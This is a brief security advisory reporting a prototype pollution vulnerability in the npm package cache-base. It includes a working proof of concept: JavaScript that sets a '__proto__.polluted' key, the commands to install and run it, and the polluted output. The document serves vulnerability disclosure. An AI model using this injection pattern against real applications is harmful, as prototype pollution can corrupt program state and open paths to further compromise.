cache-base

vulnerability prototype pollution
severity 7.3
language javascript
registry npm

Description

cache-base is vulnerable to Prototype Pollution.

Proof of Concept

  1. Create the following PoC file:
// poc.js
var cacheBase = require("cache-base")
const app = new cacheBase();
app.set('__proto__.polluted', 'Yes! Its Polluted');
console.log(app.get('polluted'));
  1. Execute the following commands in terminal:
npm i cache-base # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Yes! Its Polluted

References